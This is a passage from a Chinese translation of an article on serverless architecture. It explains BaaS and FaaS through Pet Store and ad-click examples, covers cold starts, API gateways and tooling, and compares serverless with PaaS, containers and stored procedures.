&lt;p&gt;一般来说这种架构会比较像下面的这张图，例如用 Java 或者 Javascript 完成服务端开发，并使用 HTML + Javasript 组件实现客户端：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/ps.svg&#34; alt=&#34;ps.svg&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这种结构下的客户端相对来说没有智能的，大多数的系统功能——认证、页面导航、搜索、事务等等都是在服务端应用实现的。&lt;/p&gt;

&lt;p&gt;在一个 Serverless 架构下，这张图可能要这么画：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/sps.svg&#34; alt=&#34;sps.svg&#34; /&gt;&lt;/p&gt;

&lt;p&gt;虽说这个视图已经做了大幅度的简化，但是和前面比起来，差异还是非常显著的：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;我们从原有应用中删除了认证逻辑，用第三方的 BaaS 服务（例如 Auth0）取而代之。&lt;/li&gt;
&lt;li&gt;另外一个 BaaS 的例子，我们让客户端能够直接访问部分数据库（用来完成商品列表），这部分数据库也是由第三方提供的（例如 Google 的 Firebase）。我们的服务端和客户端可以使用不同的安全方案来进行数据库访问。&lt;/li&gt;
&lt;li&gt;前两点的变化发生之后，可以推导出第三点差异：Pet Store 的一部分服务端逻辑现在转换到客户端了——例如用户会话的跟踪、应用的用户体验结构、读取数据库并转换为可用视图等。这一切都说明，应用本身正在向&lt;a href=&#34;https://en.wikipedia.org/wiki/Single-page_application&#34; target=&#34;_blank&#34;&gt;单页应用&lt;/a&gt;的方向转变。&lt;/li&gt;
&lt;li&gt;我们可能想要在服务端保留一些 UX 相关的功能，例如一些集中运算或者需要访问大量数据的功能。在我们的 Pet Store 中，一个符合这种描述的功能就是搜索。过去我们要实现搜索功能需要有一个持续运行的服务器，而现在，我们可以创建一个 FaaS 功能来响应来自 API 网关的 HTTP 请求。搜索功能的客户端和服务器都从同一个产品数据库中读取数据。如果我们选择使用 AWS Lambda 作为 FaaS 平台的话，因为 Lambda 支持我们旧架构中使用的 Java 和 JavaScript，所以无需完全重写，就可以把原来 Pet Store 的服务端搜索功能的代码迁移到新的 Function 实现中。&lt;/li&gt;
&lt;li&gt;最后，我们要把我们的订购功能也替换为独立的 FaaS Function，但是这里为了安全考虑，我们选择将其保留在服务端而非客户端。这个功能也会从 API 网关接受请求。在使用 FaaS 的过程中，拆解不同的逻辑需求，分发给不同的部署组件，是一个再寻常不过的任务。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;回顾一下，这个例子展示了另外一个很重要的无服务器架构的知识点。在原有版本中，所有的流程、控制和安全都是在中央服务器的服务器应用中管理的。在无服务器版本中，就没有一个集中的关注点了。我们会看到 &lt;a href=&#34;https://stackoverflow.com/questions/4127241/orchestration-vs-choreography&#34; target=&#34;_blank&#34;&gt;choreography 而不是 orchestration&lt;/a&gt; （个人理解，二者都是服务的编排方式，choreography 是智能的去中心的，同样的差距存在于 SoA 和微服务架构中的端点和管道的关系），每个组件都对架构有更多的感知——这种情况在微服务方法中也是很常见的。&lt;/p&gt;

&lt;p&gt;这种实现方法有很多好处。例如 Sam Newman 在 &lt;a href=&#34;https://samnewman.io/books/building_microservices/&#34; target=&#34;_blank&#34;&gt;Building Microservices&lt;/a&gt; 书中指出，这样构建的应用“通常更具弹性切更易变更”。每个功能都作为一个独立的可更新的组件存在、分拆不同的关注点，同时，Gojko Adzic 在&lt;a href=&#34;https://gojko.net/2017/10/05/serverless-design-gotocph.html&#34; target=&#34;_blank&#34;&gt;一次谈话&lt;/a&gt;中还提到，这一架构方法所具备的成本优势。&lt;/p&gt;

&lt;p&gt;当然这种架构设计同样是一种权衡：这种架构需要更好的分布式监控，另外还对底层系统的安全性更加依赖。更有甚者，设计微服务应用时，会有大量的关注点充斥在我们的脑海之中——在设计单体应用的时候可不是这样。多后端组件设计所体现的弹性和成本优势，相对于增加的复杂性来说是否划算，是一个非常需要具体分析的问题。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Building Microservices 一书已经由崔立强、张骏翻译，并由人民邮电出版社出版，中文名为《微服务设计》。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4 id=&#34;消息驱动的应用&#34;&gt;消息驱动的应用&lt;/h4&gt;

&lt;p&gt;另一个例子是后端数据处理服务。&lt;/p&gt;

&lt;p&gt;假设你正在开发一个面向用户的应用，这个应用要求有迅速的 UI 响应，另外还需要捕捉用户所有的活动。联想一下在线广告系统：用户点击广告的时候，我们希望能够迅速的把用户引导到广告的目标连接；同时还需要收集这一点击事件，以此来向广告主收取费用。（这个例子其实并非虚构——我之前的在 &lt;a href=&#34;http://www.intentmedia.com/&#34; target=&#34;_blank&#34;&gt;Intent Media&lt;/a&gt; 的团队就有这个需求，也是用无服务器方式实现的）。&lt;/p&gt;

&lt;p&gt;过去会用下图的方式来实现这种应用。“Ad Server” 会同步向用户发送响应（图中没有表示），同时向消息频道发布一个点击消息。这个消息会由 &amp;ldquo;Click Processor&amp;rdquo; 应用进行异步处理——更新数据库，扣减广告主的余额等等。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/cp.svg&#34; alt=&#34;cp.svg&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在无服务器的方法中，会变成这样：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/scp.svg&#34; alt=&#34;scp.svg&#34; /&gt;&lt;/p&gt;

&lt;p&gt;看到区别了？架构的变更很小了——这就是异步消息处理在无服务器世界中大放异彩的原因。原本需要有一个长期运行的应用来进行消息消费，现在我们使用一个 FaaS Function 将其替换。这个 Function 在一个供应商提供的事件驱动的上下文中。注意云平台供应商提供了消息转发和 FaaS 环境——这两个系统通常是紧密相关的。&lt;/p&gt;

&lt;p&gt;FaaS 环境下，只要运行更多的 Function 代码实例，就可以并行处理更多消息。这可能是我们在实现过程中，需要特别注意的一个新概念。&lt;/p&gt;

&lt;h3 id=&#34;解密-faas&#34;&gt;解密 FaaS&lt;/h3&gt;

&lt;p&gt;行文至此，我们已经多次提到 FaaS 了，那么 FaaS 到底是什么？这里我们可以看看 Amazon FaaS 产品的&lt;a href=&#34;https://aws.amazon.com/cn/lambda/&#34; target=&#34;_blank&#34;&gt;说明&lt;/a&gt;：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;通过 AWS Lambda，无需配置或管理服务器即可运行代码（1）。您只需按消耗的计算时间付费 – 代码未运行时不产生费用。借助 Lambda，您几乎可以为任何类型的应用程序或后端服务运行代码（2），而且全部无需管理。只需上传您的代码，Lambda 会处理运行（3）和扩展高（4）可用性代码所需的一切工作。您可以将您的代码设置为自动从其他 AWS 服务触发（5），或者直接从任何 Web 或移动应用程序调用（6）。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;首先，FaaS 用来运行后端代码，无需管理自己的服务器以及自己的长期运行的服务应用&lt;/strong&gt;。“长期运行的服务应用”，是和容器和 PaaS 这样的现代架构的根本差别。回顾刚才提到的点击处理案例，我们把点击处理服务（不一定是物理机，但是肯定是个应用）替换为一个无需具体服务器，也无需保持运行的应用。&lt;/li&gt;
&lt;li&gt;FaaS 的服务侧不依赖具体框架和库。在语言和环境方面来说，FaaS Function 只是普通的应用。例如 AWS Lambda Function 可以使用 Javascript、Python、Go 以及任意的 JVM 语言（Java、Clojure、Scala 等），或者任意的 .NET 语言。然而你的 Lambda Function 还能运行绑定在工件之内的其他进程，所以事实上你可以使用任何能够编译成 Unix 进程的语言（例如后面会提到的 Apex）。
FaaS Function 也有明显的架构限制，尤其是在进行状态处理和长期运行的情况下。我们很快就会遇到这一情况。
再次回到我们的点击处理案例。在向 FaaS 进行迁移的时候，唯一需要修改的代码就是入口方法，也就是启动代码，这段代码用于顶层的消息处理（消息监听器接口的实现），可能只要修改代码签名即可完成任务。&lt;/li&gt;
&lt;li&gt;跟传统过程比起来，没有了服务应用，所以部署的区别是非常大的。在 FaaS 环境下，我们把我们的代码提交给 FaaS 服务商，服务商为我们提供其他所有的必要资源，完成相应的管理工作，例如虚拟机实例、进程管理等。&lt;/li&gt;
&lt;li&gt;水平伸缩是完全自动化的、弹性的，当然也是由服务商提供的。如果你的系统需要处理 100 个并发请求，服务商会自行处理，无需额外配置。运行容器是临时的，他的创建和销毁完全是受运行时驱动的。更重要的是，FaaS 语境下，服务商需要处理所有底层资源的供给问题——集群、虚拟机之类的管理工作完全和用户无关了。
再一次检视我们的点击处理应用。某个时间里，我们的客户一反寻常的发出了超出平时十倍的点击量。在传统架构中，我们的应用是否能够安然度过？例如我们的应用是否涉及为同时处理多个消息？如果答案是肯定的，那么一个实例是否就足够处理这种规模的负载？如果我们可以运行多个进程，那么这一伸缩过程是自动的还是手工的？在 FaaS 方法中，这些问题的答案就很确定了——我们的 Function 在设计之初就要有个基本假设：我们要处理水平扩展的并发需求，FaaS 服务商要给我们自动提供处理所有伸缩需求的资源。&lt;/li&gt;
&lt;li&gt;FaaS 中的 Function，通常是被需要一个触发条件的，而触发条件是由服务商定义的。在 AWS 中，触发事件包括 S3（文件或者对象）的更新、时间（定时任务），以及加入消息总线的消息（例如 &lt;a href=&#34;https://aws.amazon.com/kinesis/&#34; target=&#34;_blank&#34;&gt;Kinesis&lt;/a&gt;）。&lt;/li&gt;
&lt;li&gt;多数服务商允许 Function 被外来的 HTTP 请求触发；在 AWS 中一个典型的实现方式就是 API 网关。我们 Pet Store 应用中的搜索和订购两个 Function，都需要使用 API 网关。我们的 Function 也可以直接被内部和外部平台 API 调用，但这就不是一个常用方式了。&lt;/li&gt;
&lt;/ol&gt;

&lt;h4 id=&#34;状态&#34;&gt;状态&lt;/h4&gt;

&lt;p&gt;FaaS Function 在本地（服务器、绑定实例）状态方面有着严格的限制，这里说的状态包括内存中的变量、本地盘中的数据等。这些存储都是可用的，但是这些状态信息在多次调用之间是没有持久化方面的保障的，也不能假设一次调用中保存的状态会在另一次调用中生效。我们经常会说，FaaS Function 是无状态的，不过更精确的描述是：FaaS Function 中需要进行持久化的状态数据都需要保存在 FaaS Function 实例之外。&lt;/p&gt;

&lt;p&gt;毫无疑问，FaaS Function 天然就是无状态的，他提供的就是纯粹的从输入到输出的转换。虽然这不是什么新鲜事情，例如 &lt;a href=&#34;http://12factor.net/&#34; target=&#34;_blank&#34;&gt;12 Factor App&lt;/a&gt; 中也有一样的&lt;a href=&#34;http://12factor.net/processes&#34; target=&#34;_blank&#34;&gt;提议&lt;/a&gt;，但是这可能对一些应用架构产生巨大的影响。这些面向状态的 Function 需要用数据库或者分布式缓存（比如 Redis）以及网络文件/对象存储（比如 S3）来保存跨请求状态数据，或者要求请求中包含更多输入项目来进行状态的传递。&lt;/p&gt;

&lt;h4 id=&#34;运行时长&#34;&gt;运行时长&lt;/h4&gt;

&lt;p&gt;典型的 FaaS Function 都要对每次调用的时长进行限制。目前 AWS Lambda Function 的限制是五分钟，超时之后就会被终止。微软和谷歌的产品也有类似限制。&lt;/p&gt;

&lt;p&gt;这就意味着，有些长期运行的应用上提供的功能，可能并不能不加重构的适应 FaaS 环境，重构过程要把原来的单个任务拆分为多个协同工作的 FaaS Function。&lt;/p&gt;

&lt;h4 id=&#34;启动延时和冷启动&#34;&gt;启动延时和冷启动&lt;/h4&gt;

&lt;p&gt;Faas 平台在处理事件之前，首先需要初始化 Function 的实例，这是一个需要耗时的操作。即使是同一个 Function，他的初始化过程也可能受到众多因素的影响，产生数毫秒或数秒的差异。这看起来可是很糟糕，但是我们可以先放下这种不安，来看看 AWS Lambda 的例子。&lt;/p&gt;

&lt;p&gt;Lambda Function 的初始化并不是热启动（复用一个之前的事件中用过的 Lambda Funtion 及其所在容器）过程，也不是冷启动（创建一个新的容器实例、启动 Function 主进程之类的工作）。而冷启动是个毋庸置疑的缓慢过程。&lt;/p&gt;

&lt;p&gt;冷启动的延迟，受制于很多因素：用的什么语言，引用什么库，代码规模如何，Lambda 配置环境怎样，是否需要连接到 &lt;a href=&#34;https://aws.amazon.com/vpc/&#34; target=&#34;_blank&#34;&gt;VPC&lt;/a&gt; 资源等等。其中很多方面都是受开发者控制的，所以降低冷启动延时通常都是可以实现的。&lt;/p&gt;

&lt;p&gt;可以和冷启动耗时相提并论的另一个问题就是冷启动频度。假设一个函数在以每秒十个事件的速度运行，其中每个事件处理都需要消耗 50 毫秒，你可能每处理 10-20 万请求之后，会看到一次 Lambda 的冷启动。如果另一个函数每个小时处理一个事件，那么可能每个时间发生的时候你都会看到冷启动，这是因为 Amazon 会在几分钟之后释放不活动的 Lambda 实例。知道这一问题之后，你就会了解到针对你的案例，冷启动会产生什么影响，是否需要执行 &amp;ldquo;Keep alive&amp;rdquo; 之类的方法来防止冷启动。&lt;/p&gt;

&lt;p&gt;冷启动看起来很让人担心吧？这取决于你的应用的类型和行为模式。我从前在 Intent Media 的团队有一个 Java 实现（常见语言中启动最慢的一个）的异步消息处理 Lambda App，每天要处理几千万的消息，完全没有操心过这个应用的启动延迟问题。这说明如果你正在写一个低延迟的交易应用，可能并不想要使用基于云的 FaaS 系统，这个决策跟实现语言的关系不大。&lt;/p&gt;

&lt;p&gt;这种情况下，不论你是否认为对你的应用产生了影响，都还是应该按照生产环境的要求进行测试。这毕竟是一个持续创新的领域：如果你的案例无法通过测试，那么不妨过几个月再来一遍。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://blog.symphonia.io/learning-lambda-part-8-addfab6b460d&#34; target=&#34;_blank&#34;&gt;我的另一篇文章&lt;/a&gt;更深入的讨论了一下冷启动问题。&lt;/p&gt;

&lt;h4 id=&#34;api-网关&#34;&gt;API 网关&lt;/h4&gt;

&lt;p&gt;&lt;img src=&#34;images/ag.svg&#34; alt=&#34;ag.svg&#34; /&gt;&lt;/p&gt;

&lt;p&gt;之前我们提到过，无服务器技术有一个要素是 API 网关。API 网关是一个 HTTP 服务器，其中定义了路由和端点，每个路由都有相关联的用于处理路由的资源。在无服务器架构中，这些处理单元通常就是  FaaS Function。&lt;/p&gt;

&lt;p&gt;当 API 网关收到请求之后，会在配置中查找对应的路由条目，在 FaaS 路由的情况下，会使用原有的请求来调用对应的 FaaS Function。通常状况下，API 网关可以把 HTTP 请求映射为一种更简单的输入提供给 FaaS Function，或把整个 HTTP 请求作为 JSON 对象传递出去。FaaS Function 会执行自有逻辑，并把结果反馈给 API 网关，API 网关就会把执行结果还原为 HTTP 响应，并将响应返回给调用者。&lt;/p&gt;

&lt;p&gt;AWS 有自己的 API 网关（就叫 &lt;a href=&#34;https://aws.amazon.com/api-gateway/&#34; target=&#34;_blank&#34;&gt;API Gateway&lt;/a&gt;），其他服务商也提供类似的能力。Amazon 的 API 网关是一个 BaaS 服务，作为一个外部服务，他需要用户的配置，但是其供给和运行就无需用户操心了。&lt;/p&gt;

&lt;p&gt;除了纯粹的路由请求，API 网关可能还要执行认证、输入验证、返回码映射等功能。&lt;/p&gt;

&lt;p&gt;FaaS 场景下的 API 网关有个功能就是，用无服务器的方式创建 HTTP 前端的微服务，并提供伸缩、管理以及其他的 FaaS Function 功能。&lt;/p&gt;

&lt;p&gt;我第一次写这篇文章的时候，Amazon 的 API 网关还很不成熟。这些工具的进展是很迅速的。AWS API Gateway 这种组件还不是很”主流“，但是可以庆幸的是他们在持续进步，会越来越好。&lt;/p&gt;

&lt;h4 id=&#34;工具&#34;&gt;工具&lt;/h4&gt;

&lt;p&gt;刚才提到的成熟度问题也适用于 FaaS 自身。在 2016 年中，这些东西还很粗糙；而 2018，我们看到了可观的进步。我们希望这一趋势能够持续下去。&lt;/p&gt;

&lt;p&gt;另外一个例子就是 FaaS 世界中的开发体验。&lt;a href=&#34;https://webtask.io/&#34; target=&#34;_blank&#34;&gt;Auth0 Webtask&lt;/a&gt; 是首先提高开发体验优先级的案例。接下来是微软在 &lt;a href=&#34;https://azure.microsoft.com/en-us/services/functions/&#34; target=&#34;_blank&#34;&gt;Azure Functions&lt;/a&gt; 产品中也这样提出。Visual Studio 及其反馈功能，一直将开发者体验作为产品的要素，Azure Function 也不例外。本地除错、本地触发之类的功能非常独到。&lt;/p&gt;

&lt;p&gt;另外一个还急需增强的功能就是监控，下文会继续讨论。&lt;/p&gt;

&lt;h4 id=&#34;开源&#34;&gt;开源&lt;/h4&gt;

&lt;p&gt;好吧，目前我们主要讨论的都是商用工具和产品。这是我们使用这类服务的主流方法，但是这里同样也有开源项目的一席之地。&lt;/p&gt;

&lt;p&gt;开源 FaaS 工具和框架，尤其是流行的&lt;a href=&#34;https://github.com/serverless/serverless&#34; target=&#34;_blank&#34;&gt;无服务器框架&lt;/a&gt;，这些框架针对 AWS API 网关和 Lambda 而来，提供优于 AWS 提供的工具的使用体验。还有一种是提供跨服务商的抽象工具，这对部分用户来说是很有价值的。类似的工具包括 &lt;a href=&#34;https://github.com/claudiajs/claudia&#34; target=&#34;_blank&#34;&gt;Claudia&lt;/a&gt; 以及 &lt;a href=&#34;https://github.com/Miserlou/Zappa&#34; target=&#34;_blank&#34;&gt;Zappa&lt;/a&gt;。还有一个例子就是 &lt;a href=&#34;https://github.com/apex/apex&#34; target=&#34;_blank&#34;&gt;Apex&lt;/a&gt;，他的吸引力在于，让用户可以使用 Amazon 直接支持范围以外的语言开发 Lambda 应用。&lt;/p&gt;

&lt;p&gt;几大服务商在开源方面也不甘落后。AWS 自己的开发工具：SAM（&lt;a href=&#34;https://docs.aws.amazon.com/lambda/latest/dg/serverless_app.html&#34; target=&#34;_blank&#34;&gt;Serverless Application Model&lt;/a&gt;）也是&lt;a href=&#34;https://github.com/awslabs/serverless-application-model&#34; target=&#34;_blank&#34;&gt;开源&lt;/a&gt;的。&lt;/p&gt;

&lt;p&gt;FaaS 的最大益处之一就是无需担心底层的计算资源（服务器、虚拟机甚至是容器）。但是如果用户偏要关注这些怎么办？例如有一些云供应商可能无法满足的安全需要，或者用户自己具备一些服务器。开源软件能够在这些场景下，让用户拥有自己的”有服务器的“ FaaS 平台么？&lt;/p&gt;

&lt;p&gt;是的，即使是这个方面也有不少活动。开源 FaaS 方面的早期领导者之一是 IBM（&lt;a href=&#34;https://openwhisk.apache.org/&#34; target=&#34;_blank&#34;&gt;OpenWhisk&lt;/a&gt;，现在已经是一个 Apache 项目了）以及（至少对我来说很诧异的一个）微软，他开放了 &lt;a href=&#34;https://azure.microsoft.com/en-us/services/functions/&#34; target=&#34;_blank&#34;&gt;Azure Function 平台&lt;/a&gt; 方面的很多东西。很多其他的自建 FaaS实现，会用各种理由建立在 Kubernetes 这样的容器平台之上。场上还有 &lt;a href=&#34;http://www.galacticfog.com/&#34; target=&#34;_blank&#34;&gt;Galactic Fog&lt;/a&gt;、&lt;a href=&#34;https://fission.io/&#34; target=&#34;_blank&#34;&gt;Fission&lt;/a&gt; 以及 &lt;a href=&#34;https://github.com/openfaas/faas&#34; target=&#34;_blank&#34;&gt;OpenFaaS&lt;/a&gt; 等值的关注的参赛选手。这是一个既庞大又快速的领域，建议关注 CNCF 的&lt;a href=&#34;https://github.com/cncf/wg-serverless&#34; target=&#34;_blank&#34;&gt;无服务器工作组&lt;/a&gt;来保持信息同步。&lt;/p&gt;

&lt;h3 id=&#34;什么不是无服务器&#34;&gt;什么不是无服务器&lt;/h3&gt;

&lt;p&gt;行文至此，我们已经了解到，无服务器架构就是两个概念的结合体：BaaS 和 FaaS。我们也对其能力进行了一点挖掘。无服务器架构的关键属性究竟是什么？为什么 S3 这么古老的技术我也称之为无服务器？可以阅读我的另一篇文章：&lt;a href=&#34;https://blog.symphonia.io/defining-serverless-part-1-704d72bc8a32&#34; target=&#34;_blank&#34;&gt;Defining Serverless&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;在我们开始进入微服务的得与失的讨论之前，我们可以在定义方面再多花一点时间，我们来定义一下，什么不是无服务器。&lt;/p&gt;

&lt;h4 id=&#34;和-paas-的对比&#34;&gt;和 PaaS 的对比&lt;/h4&gt;

&lt;p&gt;无服务器架构中的 FaaS Function 和 &lt;a href=&#34;http://12factor.net/&#34; target=&#34;_blank&#34;&gt;Twelve-Factor applications&lt;/a&gt; 非常类似，他是不是只是一个 &lt;a href=&#34;https://en.wikipedia.org/wiki/Platform_as_a_service&#34; target=&#34;_blank&#34;&gt;PaaS&lt;/a&gt; 的变体，像 &lt;a href=&#34;http://www.heroku.com/&#34; target=&#34;_blank&#34;&gt;Heroku&lt;/a&gt; 那样的？引用 Adrian Cockcroft 的&lt;a href=&#34;https://twitter.com/adrianco/status/736553530689998848&#34; target=&#34;_blank&#34;&gt;答案&lt;/a&gt;：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If your PaaS can efficiently start instances in 20ms that run for half a second, then call it serverless.&lt;/p&gt;

&lt;p&gt;需要运行半秒的 PaaS 应用，如果能够在 20 毫秒之中完成实例的启动，那么他就是无服务器。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;换句话说，多数 PaaS 应用并不适合在事件触发的情况下完成快速的启动和停止，而 FaaS 平台必须满足这一条件。&lt;/p&gt;

&lt;p&gt;如果我是一个优秀的十二军规应用开发人员，这些因素并不会影响我的架构和开发过程，但是对运维就大有影响了。既然我们都是 DevOps 工程师，我们对运维的考虑和对开发的考虑应该一样多，对吧？&lt;/p&gt;

&lt;p&gt;运维方面，FaaS 和 PaaS 的一个关键差异就是伸缩。一般情况下，PaaS 环境中需要思考如何伸缩，例如在 Heroku 中，需要运行多少 Dynos？在 FaaS 应用中，这一过程是完全透明的。即使你的 PaaS 应用中设置了自动伸缩，也不会到请求一级（除非是有很特别的流量模型），所以 FaaS 应用在成本控制方面更加有效。&lt;/p&gt;

&lt;p&gt;有了这样的好处，还需要 PaaS 么？这里有很多原因，但是工具可能是个大问题。有人使用 &lt;a href=&#34;https://en.wikipedia.org/wiki/Cloud_Foundry&#34; target=&#34;_blank&#34;&gt;Cloud Foundry&lt;/a&gt; 这样的设施来在混合云上提供通用的开发体验；迄今为止，FaaS 还没能达到这一成熟程度。&lt;/p&gt;

&lt;h4 id=&#34;和容器对比&#34;&gt;和容器对比&lt;/h4&gt;

&lt;p&gt;使用无服务器 FaaS 的一个原因就是避免在操作系统层面来管理应用进程。Heroku 这样的 PaaS 服务也提供了这样的能力，上面我们说过 PaaS 和无服务器 FaaS 的区别。目前还有一个流程的进程抽象就是容器了，&lt;a href=&#34;https://www.docker.com/&#34; target=&#34;_blank&#34;&gt;Docker&lt;/a&gt; 就是这类技术的代表。容器管理系统将进程从操作系统级别独立出来独立部署，&lt;a href=&#34;http://mesos.apache.org/&#34; target=&#34;_blank&#34;&gt;Mesos&lt;/a&gt; 和 &lt;a href=&#34;http://kubernetes.io/&#34; target=&#34;_blank&#34;&gt;Kubernetes&lt;/a&gt; 都风光无限。除此之外，我们还看到云供应商都在提供容器平台，例如 Amazon 的 &lt;a href=&#34;https://aws.amazon.com/ecs/&#34; target=&#34;_blank&#34;&gt;ECS&lt;/a&gt; 和 &lt;a href=&#34;https://aws.amazon.com/eks/&#34; target=&#34;_blank&#34;&gt;EKS&lt;/a&gt;、&lt;a href=&#34;https://cloud.google.com/container-engine&#34; target=&#34;_blank&#34;&gt;Google Container Engine&lt;/a&gt;，都和无服务器 FaaS 一样，让团队避免管理自己的服务器。所有工作都围绕容器展开，那么还需要有 FaaS 么？&lt;/p&gt;

&lt;p&gt;原则上说，这一区别跟上面提到的 PaaS 是一样的，&lt;strong&gt;无服务器 FaaS 中的伸缩是自动管理的、透明的，并具备良好的粒度&lt;/strong&gt;，这是决定于自动的资源供给和分配的。容器平台依旧需要在集群端对尺寸和形态进行管理。&lt;/p&gt;

&lt;p&gt;另外我认为容器平台虽然在快速发展，但是目前还不够成熟和稳定。当然这并不是说 FaaS 就成熟了，选择你喜欢的就可以了。&lt;/p&gt;

&lt;p&gt;另外还有重要的一点就是容器平台也有了自己的伸缩系统。Kubernetes 有了内置的 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/horizontal-pod-autoscaling/&#34; target=&#34;_blank&#34;&gt;HPA&lt;/a&gt;，Amazon 的 &lt;a href=&#34;https://aws.amazon.com/fargate/&#34; target=&#34;_blank&#34;&gt;Amazon Fargate&lt;/a&gt; 也承诺提供”无服务器容器“。&lt;/p&gt;

&lt;p&gt;正如我们所见，两种系统之间在管理和伸缩方面的差距并不大，因此这种选择更多的是要看应用的类型。例如 FaaS 是事件驱动类型的首选，容器更适合处理同步请求的多端点服务。我认为短期之内很多应用和团队会同时使用两种架构，同时二者的融合会令人相当期待。&lt;/p&gt;

&lt;h4 id=&#34;noops&#34;&gt;NoOps&lt;/h4&gt;

&lt;p&gt;无服务器可能意味着 &amp;ldquo;No sysadmin&amp;rdquo;，但是不等于 &amp;ldquo;No Ops&amp;rdquo;，这取决于你在无服务器这个兔子洞里钻了多深。&lt;/p&gt;

&lt;p&gt;&amp;ldquo;Ops&amp;rdquo; 的含义不仅仅在于服务器管理。他还（至少）意味着监控、部署、安全、网络、支持还有一部分的产品排错和系统伸缩等。在无服务器应用中，这些问题一样存在，还是需要一些策略来完成这些事情。无服务器体系如此新锐，在这方面的难度会更高。&lt;/p&gt;

&lt;p&gt;系统管理还是存在的，只是外包给了供应商而已，这事的本身没有什么对错。外包生意满街都是，做法决定结果。不管怎样都应该知道，抽象有可能会不足以完成任务，要知道在某个地方，还是有人类系统管理员正在给你的应用提供支持。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://twitter.com/mipsytipsy&#34; target=&#34;_blank&#34;&gt;Charity Majors&lt;/a&gt; 在第一次无服务器会议上，做了&lt;a href=&#34;https://www.youtube.com/watch?v=wgT5f0eBhD8&#34; target=&#34;_blank&#34;&gt;很精彩的演讲&lt;/a&gt;。（可以阅读她的两篇文章：&lt;a href=&#34;https://charity.wtf/2016/05/31/wtf-is-operations-serverless/&#34; target=&#34;_blank&#34;&gt;WTF is operations&lt;/a&gt; 以及 &lt;a href=&#34;https://charity.wtf/2016/05/31/operational-best-practices-serverless/&#34; target=&#34;_blank&#34;&gt;Operational Best Practices&lt;/a&gt;）。&lt;/p&gt;

&lt;h4 id=&#34;存储过程即服务&#34;&gt;存储过程即服务&lt;/h4&gt;

&lt;blockquote&gt;
&lt;p&gt;来自 &lt;a href=&#34;https://twitter.com/skamille&#34; target=&#34;_blank&#34;&gt;Camille Fournier&lt;/a&gt; 的 &lt;a href=&#34;https://twitter.com/skamille/status/719583067275403265?ref_src=twsrc%5Etfw&amp;amp;ref_url=https%3A%2F%2Fmartinfowler.com%2Farticles%2Fserverless.html&#34; target=&#34;_blank&#34;&gt;Twitter&lt;/a&gt;：
I wonder if serverless services will become a thing like stored procedures, a good idea that quickly turns into massive technical debt。&lt;/p&gt;

&lt;p&gt;我在想，无服务器应用会不会像存储过程一样——一个好主意迅速的变成了巨额的技术债。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;我还见过一种 FaaS 的状况就是：“存储过程即服务”。我想这是因为，很多 FaaS Function 的例子都是和附着于数据库的代码碎片。如果我们做的事情都是这样的，那这个名字就很恰当了，但是这其实只是一个 FaaS 的子集，我觉得不应该把这种情况当做 FaaS 的全部。&lt;/p&gt;

&lt;p&gt;让 FaaS 离开存储过程的老路是个值得考虑的问题。从存储过程获取的经验，放到 FaaS 的语境中也是很有价值的。存储过程是这样的：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;通常需要用厂商指定的语言，至少是厂商指定的语言框架和扩展。&lt;/li&gt;
&lt;li&gt;必须在数据库中执行，不易测试。&lt;/li&gt;
&lt;li&gt;版本管理难于进行，很少被看做是一个常规应用。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;并不是所有的存储过程都有所有这些问题，但是存储过程中至少会出现其中一个问题。我们看看在 FaaS 中会怎样：&lt;/p&gt;

&lt;p&gt;在 FaaS 中，在我目前看来问题 1 并不存在，可以不必担心了。&lt;/p&gt;

&lt;p&gt;对问题 2 来说，我们只和代码打交道，很明显单元测试方面和其他代码并无区别。集成测试很明显会有些不同，后面我们会继续讨论。&lt;/p&gt;

&lt;p&gt;而问题 3，FaaS 只有代码，天生的支持版本控制。目前应用打包有点困扰，不过这方面也在逐渐成熟，例如 Amazon 的 &lt;a href=&#34;https://docs.aws.amazon.com/lambda/latest/dg/serverless_app.html&#34; target=&#34;_blank&#34;&gt;无服务器应用模型（SAM）&lt;/a&gt; 以及早前提到的无服务器框架。2018 年初，Amazon 还启动了一个 &lt;a href=&#34;https://docs.aws.amazon.com/lambda/latest/dg/serverless_app.html&#34; target=&#34;_blank&#34;&gt;无服务器应用仓库（SAR）&lt;/a&gt;，给在 AWS Serverless 服务之上构建应用的组织提供应用和应用组件的分发支持（进一步了解 SAR，可以阅读我的文章：&lt;a href=&#34;https://blog.symphonia.io/examining-the-aws-serverless-application-repository-9ef316e2fd4&#34; target=&#34;_blank&#34;&gt;Examining the AWS Serverless Application Repository&lt;/a&gt;）。&lt;/p&gt;

&lt;h2 id=&#34;收益&#34;&gt;收益&lt;/h2&gt;

&lt;p&gt;前面我们主要在定义和解释无服务器架构的概念。现在我们讨论一下，如此的应用设计，带来的好处和问题。没有严肃的评估和权衡，是不应该做出任何决策的。&lt;/p&gt;

&lt;p&gt;接下来我们就看看无服务器的好处。&lt;/p&gt;

&lt;h3 id=&#34;降低运维成本&#34;&gt;降低运维成本&lt;/h3&gt;

&lt;p&gt;最大程度的简化之后，可以说无服务器框架是一种外包方案——将服务器管理、数据库管理甚至应用逻辑外包出去。由于使用的是一个可能有很多其他用户都在使用的预定义服务，这样就产生一种&lt;a href=&#34;https://en.wikipedia.org/wiki/Economies_of_scale&#34; target=&#34;_blank&#34;&gt;规模效应&lt;/a&gt;：服务商正在运行上千类似的数据库实例，因此用户可以以相对更低的价格来获得数据库服务。&lt;/p&gt;

